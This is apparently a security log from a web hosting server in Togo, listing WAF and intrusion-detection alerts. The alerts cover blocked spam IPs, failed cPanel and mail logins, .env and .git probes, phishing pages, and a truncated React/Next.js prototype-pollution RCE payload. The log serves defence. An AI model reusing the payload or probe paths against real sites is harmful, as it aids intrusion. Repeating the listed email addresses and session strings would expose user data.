IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-31.162.252.53.89||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.134.0.153
country_id: 241170
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-30.31.134.0.153||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.133.115.43
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-30.45.133.115.43||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 186.7.145.234
country_id: 3508796
description:
186.7.145.234 - - [15/Jun/2026:00:33:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13344662&pdata=https%253A%252F%252Feducplusmedia.tg%252F2025%252F09%252F05%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781483606 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2025/09/05/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.4927.1918 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:186.7.145.234


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [15/Jun/2026:00:34:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9858453&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781483683 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.64.172.238
country_id: 2363686
description:
[2026-06-15 00:36:36 +0000] info [cpaneld] 102.64.172.238 NEW sxoyfjqv:l2l4YgZAzgox82EA address=102.64.172.238,app=cpaneld,creator=sxoyfjqv,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.63.99.254
country_id: 6252001
description:
2026-06-15 00:42:00 dovecot_plain authenticator failed for H=(qptx8tvr7bfhocub) [24.63.99.254]:43381: 535 Incorrect authentication data (set_id=mointie@emt.tg)


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 56.228.7.101
country_id: 2661886
domain: www.demo.brmn.tg
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/1HIrKgJhiLFMY7dCbFVqMfYpJw2vgznsCkAhNGrB1Hw||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 80.209.229.158
country_id: 597427
description:
[2026-06-15 00:43:50 +0000] info [cpaneld] 80.209.229.158 NEW ifxmoxbf:xunaFKXCz9cbR3bb address=80.209.229.158,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.226.245.206
country_id: 690791
description:
[2026-06-15 00:43:58 +0000] info [whostmgrd] 138.226.245.206 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 138.226.245.206
country_id: 690791
description:
[2026-06-15 00:43:59 +0000] info [whostmgrd] 138.226.245.206 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 173.239.220.25
country_id: 3658394
description:
Jun 15 00:45:59 ns5 pure-ftpd[3679997]: (?@173.239.220.25) [INFO] New connection from 173.239.220.25


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
country_id: 3932488
description:
2026-06-15 00:45:57 dovecot_login authenticator failed for H=(193-116-214-128.tpgi.com.au) [190.117.96.174]:54660: 535 Incorrect authentication data (set_id=evendeur@soena.tg)


plugin: ossec
rule: 6070
name: Attempt to upload malware through cPanel file manager
description:
Jun 15 00:47:13 ns5.netmaster.tg cpanel_fileman_hook[3680744]: 0 BAILOUT malware detected when save 'test123Cp.php' in public_html for user pkyvzjjc


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 95.214.54.159
country_id: 798544
description:
[2026-06-15 00:48:07 +0000] info [whostmgrd] 95.214.54.159 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.214.54.159
country_id: 798544
description:
[2026-06-15 00:48:07 +0000] info [whostmgrd] 95.214.54.159 - root "GET /cpsess9742504980/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 2501
name: User authentication failure.
description:
102.64.173.97 - parfait.djerade@univ.ucao-uut.tg [06/15/2026:00:48:20 -0000] "PROPFIND" FAILED LOGIN cpdavd: No encrypted password found for parfait.djerade@univ.ucao-uut.tg


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.42.143.108
country_id: 3895114
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/category/faits-divers/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.42.143.108
country_id: 3895114
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/faits-divers/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [15/Jun/2026:00:51:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6526153&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781484663 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.67.81.234
country_id: 2750405
description:
[2026-06-15 00:54:13 +0000] info [webmaild] 176.67.81.234 - zoomccit@ccit.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.107.206
country_id: 6252001
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:104.239.107.206||TA:104.239.107.206||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 167.160.76.159
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-59.167.160.76.159||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 189.252.90.57
country_id: 3996063
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2010||QS:add-to-cart=2010||RSV:8.16||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.81.148
country_id: 6252001
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:104.239.81.148||TA:104.239.81.148||


plugin: modsec
rule: 77093094
abuser: 4.227.232.143
country_id: 6252001
domain: www.brasseriesnb.snb.tg
name:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)

description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"data_4de09c53\":[],\"then\":\"$1:__proto__:then\",\"_8114553c\":false,\"x_1bf98864\":-1,\"_response\":{\"_prefix\":\"var rroo=arguments[0x1];var ir=rroo;try{var _v=((0,eval)(global[[\\\"Buf\\\",\\\"f\\\",\\\"e\\\",\\\"r\\\


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.147.108.181
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-59.142.147.108.181||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 170.199.229.38
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-59.170.199.229.38||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 167.160.76.188
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-59.167.160.76.188||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 72.14.95.94
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-59.72.14.95.94||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.176.4.51
country_id: 3895114
domain: mail.dankpen1.mairie.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/backend/.env.backup||User:rbnbkmre||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 170.199.229.39
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-59.170.199.229.39||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.147.111.171
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-59.142.147.111.171||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 154.7.240.99
country_id: 3469034
domain: www.sncom.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/139.0.7258.5 Safari/537.36||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.147.108.80
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-59.142.147.108.80||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 139.180.224.102
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-59.139.180.224.102||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 69.58.72.182
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-59.69.58.72.182||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 148.59.184.46
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-59.148.59.184.46||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 147.92.53.112
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-59.147.92.53.112||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 147.53.114.49
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-59.147.53.114.49||RSV:8.16||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 139.180.224.196
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:139.180.224.196||TA:139.180.224.196||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.176.4.51
country_id: 3895114
domain: mail.dankpen1.mairie.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.local.bak||User:rbnbkmre||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.176.4.51
country_id: 3895114
domain: mail.dankpen1.mairie.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/env.bak||User:rbnbkmre||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.177.103.91
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:192.177.103.91||TA:192.177.103.91||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 34.176.4.51
country_id: 3895114
domain: mail.dankpen1.mairie.tg
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.16||T:APACHE||MV:.env~||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.176.4.51
country_id: 3895114
domain: mail.dankpen1.mairie.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/app/.env.backup||User:rbnbkmre||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.89.202
country_id: 6252001
description:
[2026-06-15 01:06:15 +0000] info [cpaneld] 173.211.89.202 NEW ifxmoxbf:LrZGWI6PPVwlx8zy address=173.211.89.202,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.240
country_id: 6252001
description:
[2026-06-15 01:06:13 +0000] info [cpaneld] 64.44.62.240 NEW ifxmoxbf:aoy5QX1wFZRk6gw6 address=64.44.62.240,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.152
country_id: 1643084
description:
[2026-06-15 01:06:41 +0000] info [whostmgrd] 185.213.83.152 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 185.213.83.152
country_id: 1643084
description:
[2026-06-15 01:06:45 +0000] info [whostmgrd] 185.213.83.152 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.229
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.795768460952320.php||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.13
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.113467095121327.php||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 142.171.52.77
country_id: 6252001
description:
2026-06-15 01:08:46 dovecot_plain authenticator failed for H=(cpea39z7wutw00n0kpqxa) [142.171.52.77]:41186: 535 Incorrect authentication data (set_id=supports@mesyscom.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.176.4.51
country_id: 3895114
domain: mail.dankpen1.mairie.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/sendgrid/.env.backup||User:rbnbkmre||


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 192.3.24.135
country_id: 6252001
domain: launetogo.tg
description:
IM360 WAF: Request body parsing error||err_msg:Multipart parsing error: Multipart: Invalid Content-Disposition header (-14): form-data; name=\"result[_msg]\\\\\";filename=\";name=\"result[_msg]\".||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.21.49
country_id: 2300660
description:
Jun 15 01:14:08 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.21.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.21.49
country_id: 2300660
description:
Jun 15 01:14:22 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.21.49 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.136
country_id: 1880251
description:
47.128.96.136 - - [15/Jun/2026:01:14:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7194985&pdata=https%253A%252F%252Fchuso.tg%252Fwp-content%252Fuploads%252F2022%252F09%252FAVIS-DE-PUBLICATION-DRP-AUTOBUS.docx&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781486084 HTTP/2.0" 302 0 chuso.tg "https://chuso.tg/wp-content/uploads/2022/09/AVIS-DE-PUBLICATION-DRP-AUTOBUS.docx" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.136


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 177.85.11.42
country_id: 3469034
description:
177.85.11.42 - - [15/Jun/2026:01:15:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10144406&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Ftag%253Dun-partenariat-renforce&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781486140 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?tag=un-partenariat-renforce" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.4454.1405 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:177.85.11.42


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.155
country_id: 1880251
description:
47.128.96.155 - - [15/Jun/2026:01:16:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13277334&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fannee-scolaire-2025-2026%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781486205 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/annee-scolaire-2025-2026/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.155


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.230.140.96
country_id: 3175395
description:
2026-06-15 01:17:04 dovecot_plain authenticator failed for H=(1hmtzml2rjm7rgelo2adj63sv2o6) [103.230.140.96]:19506: 535 Incorrect authentication data (set_id=welldrive@confortis.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [15/Jun/2026:01:19:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6907547&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781486378 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.2.57.138
country_id: 3469034
description:
Jun 15 01:22:26 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.2.57.138 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 179.42.57.254
country_id: 3469034
description:
179.42.57.254 - - [15/Jun/2026:01:23:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9946521&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcomment-atteindre-facilement-lorgasme-des-seins%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781486588 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/comment-atteindre-facilement-lorgasme-des-seins/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3846.1248 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:179.42.57.254


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.178.28.121
country_id: 2542007
description:
[2026-06-15 01:24:25 +0000] info [cpaneld] 160.178.28.121 - zeeaxbnt "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user zeeaxbnt (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.234.55
country_id: 1269750
description:
Jun 15 01:24:55 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.234.55 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 84.54.92.115
country_id: 1512440
description:
84.54.92.115 - - [15/Jun/2026:01:24:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6713546&pdata=https%253A%252F%252Ftogodailynews.tg%252Fculture-le-cinema-togolais-a-lhonneur-du-3-au-7-aout-2021%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781486662 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/culture-le-cinema-togolais-a-lhonneur-du-3-au-7-aout-2021/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.7167.1901 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:84.54.92.115


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 35.208.137.223
country_id: 6252001
domain: ucao-uut.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/100.0.4896.127 Safari/537.36||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 74.7.243.218
country_id: 6252001
domain: brmn.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/wp-json/wp/v2/users/1||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 35.228.168.104
country_id: 660013
domain: www.mg.cloud-et-racks.tg
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/dashboard/.git/config||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 160.178.28.121
country_id: 2542007
description:
Jun 15 01:27:34 ns5 pure-ftpd[3702481]: (?@160.178.28.121) [INFO] New connection from 160.178.28.121


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 160.178.28.121
country_id: 2542007
description:
Jun 15 01:27:38 ns5 pure-ftpd[3702484]: (?@160.178.28.121) [WARNING] Authentication failed for user [zeeaxbnt]


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.181.240.217
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.prod.bak||User:lhxhatyj||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.181.240.217
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.local.bak||User:lhxhatyj||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [15/Jun/2026:01:32:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212263&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781487122 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 113.167.181.237
country_id: 1562822
domain: lasnb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:20375.lasnb.com||ServerName:lasnb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0b77da48666df7618140f78bbef260a141b69abe||Title:da6ubm89ksg5hmtw||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 113.167.181.237
country_id: 1562822
domain: lasnb.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:25616.lasnb.tg||ServerName:lasnb.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:807e702183814ed8af79806f4c5b55224ca354e5||Title:oqcybcs5yholatgs43||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.26
country_id: 3865483
description:
Jun 15 01:38:12 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.26
country_id: 3865483
description:
Jun 15 01:38:21 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.26 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 206.232.3.63
country_id: 6252001
domain: sp-eau.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-38.206.232.3.63||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 129.232.148.138
country_id: 953987
description:
Jun 15 01:39:53 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 129.232.148.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.232.148.138
country_id: 953987
description:
2026-06-15 01:39:55 dovecot_plain authenticator failed for H=(l1ln5472co5rawpnxj4tk5fa0zdlx) [129.232.148.138]:51878: 535 Incorrect authentication data (set_id=sonia.lassey@mesyscom.com)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 160.178.28.121
country_id: 2542007
description:
Jun 15 01:42:06 ns5 pure-ftpd[3711177]: (?@160.178.28.121) [INFO] New connection from 160.178.28.121


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 160.178.28.121
country_id: 2542007
description:
Jun 15 01:42:09 ns5 pure-ftpd[3711177]: (?@160.178.28.121) [WARNING] Authentication failed for user [trgtsjot]


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 45.3.42.100
country_id: 2635167
domain: misstogo.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wadminw@wordpress.com||User:tgmisefred||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.8.214
country_id: 3469034
description:
